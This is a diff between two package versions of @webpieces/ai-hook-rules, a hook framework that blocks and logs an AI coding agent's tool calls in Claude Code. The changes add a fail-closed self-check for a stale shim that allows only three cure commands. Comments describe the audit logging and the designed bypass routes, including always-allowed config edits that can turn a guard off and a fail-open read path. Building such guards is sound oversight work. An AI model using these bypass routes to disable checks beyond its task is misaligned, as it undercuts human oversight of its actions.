@webpieces/ai-hook-rules 0.4.430 → 0.4.433
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/src/adapters/hook-core.js +28 -10
- package/src/adapters/hook-core.js.map +1 -1
- package/src/bin/shim.d.ts +8 -1
- package/src/bin/shim.js +150 -89
- package/src/bin/shim.js.map +1 -1
- package/templates/ai-hook.sh +11 -66
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@webpieces/ai-hook-rules",
|
|
3
|
-
"version": "0.4.
|
|
3
|
+
"version": "0.4.433",
|
|
4
4
|
"description": "Pluggable write-time validation framework for AI coding agents (@webpieces/ai-hook-rules). Claude Code PreToolUse + openclaw before_tool_call adapters share one rule engine.",
|
|
5
5
|
"type": "commonjs",
|
|
6
6
|
"main": "./src/index.js",
|
|
@@ -32,7 +32,7 @@
|
|
|
32
32
|
"directory": "packages/tooling/ai-hook-rules"
|
|
33
33
|
},
|
|
34
34
|
"dependencies": {
|
|
35
|
-
"@webpieces/rules-config": "0.4.
|
|
35
|
+
"@webpieces/rules-config": "0.4.433"
|
|
36
36
|
},
|
|
37
37
|
"publishConfig": {
|
|
38
38
|
"access": "public"
|
|
@@ -149,6 +149,25 @@ function handleFileTool(payload, cwd, mode) {
|
|
|
149
149
|
// already renders red natively for these tools). See claude-code-response.ts.
|
|
150
150
|
(0, claude_code_response_1.emitDeny)(result.report, toolKind);
|
|
151
151
|
}
|
|
152
|
+
// Committed-shim self-guard, moved here from the rendered shim (2026-07-24). The committed
|
|
153
|
+
// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer
|
|
154
|
+
// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be
|
|
155
|
+
// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here
|
|
156
|
+
// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,
|
|
157
|
+
// since the check lived in the very file it guarded and a fix could only ship by regenerating that
|
|
158
|
+
// file. Now: fail closed on EVERY tool (Reads included — nothing is safe until it matches again),
|
|
159
|
+
// allowing ONLY the three cures (isShimCureCommand) so the AI can re-arm it — NOT a deadlock. We deny +
|
|
160
|
+
// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the
|
|
161
|
+
// shim). `command` is '' for non-Bash tools, so only a Bash cure can match. Returns normally (nothing
|
|
162
|
+
// to do) or exits via emitAllow/emitDeny.
|
|
163
|
+
// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design
|
|
164
|
+
function enforceCommittedShim(toolName, command, cwd, mode) {
|
|
165
|
+
if (mode === 'rules' || !(0, shim_1.committedShimStale)(cwd))
|
|
166
|
+
return;
|
|
167
|
+
if ((0, shim_1.isShimCureCommand)(command))
|
|
168
|
+
(0, claude_code_response_1.emitAllow)();
|
|
169
|
+
(0, claude_code_response_1.emitDeny)((0, shim_1.shimStaleDenyReason)((0, shim_1.installedShimRulesVersion)()), toolName);
|
|
170
|
+
}
|
|
152
171
|
/**
|
|
153
172
|
* Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds
|
|
154
173
|
* to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a
|
|
@@ -173,9 +192,12 @@ async function runMain(mode) {
|
|
|
173
192
|
// process.cwd(); they match today, but the payload is the authoritative signal and stays
|
|
174
193
|
// correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).
|
|
175
194
|
const cwd = payload.cwd ?? process.cwd();
|
|
195
|
+
// Committed-shim self-guard (moved here from the shim, 2026-07-24). Runs BEFORE read handling so
|
|
196
|
+
// a stale shim blocks EVERY tool, Reads included — see enforceCommittedShim for the full why.
|
|
197
|
+
enforceCommittedShim(payload.tool_name, payload.tool_input.command ?? '', cwd, mode);
|
|
176
198
|
// Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped
|
|
177
|
-
// guard (read-stale-guard) and allow. Runs BEFORE
|
|
178
|
-
//
|
|
199
|
+
// guard (read-stale-guard) and allow. Runs BEFORE the general rule engine — no code-style rule
|
|
200
|
+
// ever sees a Read, and the only way this path can deny is a stale `main`.
|
|
179
201
|
// The audit trail still records every file the AI opened (see setup.ts).
|
|
180
202
|
if (READ_ONLY_TOOLS.has(payload.tool_name)) {
|
|
181
203
|
const readPath = payload.tool_input.file_path ?? '';
|
|
@@ -188,15 +210,11 @@ async function runMain(mode) {
|
|
|
188
210
|
handleRead(readPath, cwd, mode);
|
|
189
211
|
(0, claude_code_response_1.emitAllow)();
|
|
190
212
|
}
|
|
191
|
-
//
|
|
192
|
-
//
|
|
193
|
-
//
|
|
194
|
-
//
|
|
213
|
+
// Per-invocation guard log (guard-invocations.log): tool + command/file + live branch +
|
|
214
|
+
// main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-effort;
|
|
215
|
+
// never blocks the call. (The committed shim is no longer silently healed here — a mismatch is
|
|
216
|
+
// reported by the self-guard above, not rewritten out from under the AI.)
|
|
195
217
|
if (mode !== 'rules') {
|
|
196
|
-
(0, shim_1.healShim)(cwd);
|
|
197
|
-
// Per-invocation guard log (guard-invocations.log): tool + command/file + live branch +
|
|
198
|
-
// main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-
|
|
199
|
-
// effort; never blocks the call.
|
|
200
218
|
const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');
|
|
201
219
|
(0, decision_log_1.logGuardInvocation)(cwd, payload.tool_name, target);
|
|
202
220
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"hook-core.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/adapters/hook-core.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { logRejection } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, logGuardInvocation } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '../core/load-config';\nimport { RepoRootFinder } from '@webpieces/rules-config';\nimport { NormalizedToolInput, NormalizedEdit, ToolKind, InformAiError, RuleFailError, HookMode, BlockedResult } from '../core/types';\nimport { toError } from '../core/to-error';\nimport { emitDeny, emitAllow } from './claude-code-response';\nimport { healShim } from '../bin/shim';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);\n\n// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log\n// (guard-invocations.log). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a\n// log-and-allow fast path records every file the AI opens — so a human can later inspect whether it\n// read a project's design.json BEFORE editing the project. Never blocked. Scoped to Read for now;\n// widen (Grep/Glob/NotebookRead) later if desired.\nconst READ_ONLY_TOOLS = new Set(['Read']);\n\ninterface ClaudeCodePayload {\n tool_name: string;\n tool_input: ClaudeCodeToolInput;\n // Claude Code sends the session's current working directory (follows a persisted `cd`). Used to\n // scope guards to the git repo the AI is actually in — see runner git-repo-boundary governance.\n cwd?: string;\n}\n\ninterface ClaudeCodeToolInput {\n file_path?: string;\n content?: string;\n old_string?: string;\n new_string?: string;\n edits?: ClaudeCodeEditEntry[];\n command?: string;\n}\n\ninterface ClaudeCodeEditEntry {\n old_string?: string;\n new_string?: string;\n}\n\nfunction readStdin(): Promise<string> {\n return new Promise((resolve: (value: string) => void) => {\n let data = '';\n process.stdin.setEncoding('utf8');\n process.stdin.on('data', (chunk: string) => { data += chunk; });\n process.stdin.on('end', () => resolve(data));\n process.stdin.on('error', () => resolve(''));\n if (process.stdin.isTTY) resolve('');\n });\n}\n\nfunction safeParse(raw: string): ClaudeCodePayload | null {\n if (!raw || raw.trim() === '') return null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return JSON.parse(raw) as ClaudeCodePayload;\n } catch (err: unknown) {\n const error = toError(err);\n throw new InformAiError(`Malformed hook input from Claude Code stdin: ${error.message}`, { cause: error });\n }\n}\n\nfunction normalizeToolKind(toolName: string): ToolKind | null {\n if (HANDLED_FILE_TOOLS.has(toolName)) return toolName as ToolKind;\n return null;\n}\n\nfunction normalizeToolInput(toolKind: ToolKind, toolInput: ClaudeCodeToolInput): NormalizedToolInput | null {\n const filePath = toolInput.file_path;\n if (!filePath) return null;\n\n if (toolKind === 'Write') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit('', toolInput.content || ''),\n ]);\n }\n if (toolKind === 'Edit') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit(toolInput.old_string || '', toolInput.new_string || ''),\n ]);\n }\n if (toolKind === 'MultiEdit') {\n const raw = Array.isArray(toolInput.edits) ? toolInput.edits : [];\n const edits = raw.map((e: ClaudeCodeEditEntry) => new NormalizedEdit(e.old_string || '', e.new_string || ''));\n return new NormalizedToolInput(filePath, edits);\n }\n return null;\n}\n\nfunction handleBash(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const command = payload.tool_input.command;\n if (!command || command.trim() === '') { emitAllow(); }\n const result = runBash(command, cwd, mode);\n if (!result) { emitAllow(); }\n // Persist the block + WHY. File-tool denies go to hook-rejection.log via logRejection, but a Bash\n // deny had no audit trail — record it in guard-sync-decisions.log so \"blocked and why\" is complete\n // for Bash too. `.webpieces` lives at the repo root, resolved from cwd. Best-effort; never blocks.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(root, new GuardDecision('bash-guard', 'Bash', command ?? '', branchForLog(root), 'BLOCK', result.report));\n // Bash deny → pass 'Bash' so denyJson adds the ANSI-red systemMessage (the only field a Bash deny\n // shows the human; permissionDecisionReason is invisible on Bash). See claude-code-response.ts.\n emitDeny(result.report, 'Bash');\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(result.report, 'Read');\n}\n\nfunction handleFileTool(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const toolKind = normalizeToolKind(payload.tool_name);\n if (!toolKind) { emitAllow(); }\n\n const input = normalizeToolInput(toolKind, payload.tool_input);\n if (!input) { emitAllow(); }\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This exits BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', toolKind, input.filePath, branchForLog(root), 'ALLOW', 'config-bypass (feature-branch-guard skipped)'),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n triggerMainSyncRefresh(root);\n }\n emitAllow();\n }\n\n const result = run(toolKind, input, cwd, mode);\n if (!result) { emitAllow(); }\n\n logRejection(toolKind, input, result, cwd);\n // File-tool deny → pass the Write/Edit/MultiEdit kind so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See claude-code-response.ts.\n emitDeny(result.report, toolKind);\n}\n\n/**\n * Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds\n * to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a\n * PreToolUse `permissionDecision:\"deny\"` JSON on stdout (exit 0) — see claude-code-response.ts. Fails\n * CLOSED on any unexpected crash (emits a deny) so a broken hook never silently lets an edit through,\n * and the reason now surfaces in the Claude Code UI instead of being hidden on a stderr+exit-2 block.\n */\nexport async function runMain(mode: HookMode): Promise<void> {\n // Captured from the payload as soon as it parses so the fail-closed catch below can tell denyJson\n // which tool it is denying — a crash on a Bash call still gets the visible red systemMessage, a\n // crash on a file tool does not. Empty (before parse / malformed input) → treated as non-Bash.\n let toolName = '';\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const raw = await readStdin();\n const payload = safeParse(raw);\n if (!payload) { emitAllow(); }\n toolName = payload.tool_name;\n\n // Prefer the payload cwd (the AI's actual working dir, follows a persisted `cd`) over\n // process.cwd(); they match today, but the payload is the authoritative signal and stays\n // correct if the hook is ever invoked from a fixed dir (e.g. via $CLAUDE_PROJECT_DIR).\n const cwd = payload.cwd ?? process.cwd();\n\n // Read-only tools (Read): audit-log, warm the main-sync cache, then run the ONE read-scoped\n // guard (read-stale-guard) and allow. Runs BEFORE healShim and the general rule engine — no\n // code-style rule ever sees a Read, and the only way this path can deny is a stale `main`.\n // The audit trail still records every file the AI opened (see setup.ts).\n if (READ_ONLY_TOOLS.has(payload.tool_name)) {\n const readPath = payload.tool_input.file_path ?? '';\n if (mode !== 'rules') {\n logGuardInvocation(cwd, payload.tool_name, readPath);\n // Reads vastly outnumber edits, so refreshing here is what actually keeps the shared\n // main-sync cache warm for feature-branch-guard. Detached; never slows the read.\n triggerMainSyncRefresh(cwd);\n }\n handleRead(readPath, cwd, mode);\n emitAllow();\n }\n\n // Keep the committed shim (.claude/webpieces/ai-hook.sh) identical to renderShim() so its\n // fail-closed escape hatch + installer allowlist never go stale — no human hand-edits it.\n // Runs only when the guards binary is actually installed (i.e. now), is best-effort, and\n // never throws into the decision below. 'rules' hook skips it (guards owns the shim).\n if (mode !== 'rules') {\n healShim(cwd);\n // Per-invocation guard log (guard-invocations.log): tool + command/file + live branch +\n // main-sync-status snapshot, on EVERY guards call, for later cleanup automation. Best-\n // effort; never blocks the call.\n const target = payload.tool_name === 'Bash' ? (payload.tool_input.command ?? '') : (payload.tool_input.file_path ?? '');\n logGuardInvocation(cwd, payload.tool_name, target);\n }\n\n if (payload.tool_name === 'Bash') {\n // No code-style rule is bash-scoped, so the rules hook ignores Bash.\n if (mode === 'rules') { emitAllow(); }\n handleBash(payload, cwd, mode);\n return;\n }\n\n // File payloads run in 'rules' (code-style), 'guards' (file-scoped guards like\n // feature-branch-guard), and 'all'. The runner filters to the right category.\n handleFileTool(payload, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n // An escaped RuleFailError (a rule that threw past the runner's per-rule catch) or an\n // InformAiError (bad config/stdin) both carry an AI-readable message; anything else is an\n // unexpected bug. All three deny (fail closed) and surface their reason to the AI.\n if (error instanceof RuleFailError) {\n emitDeny(error.aiMessage, toolName);\n } else if (error instanceof InformAiError) {\n emitDeny(error.message, toolName);\n } else {\n emitDeny(`[ai-hooks] hook crashed unexpectedly — failing closed: ${error.message}`, toolName);\n }\n }\n}\n"]}
|
|
1
|
+
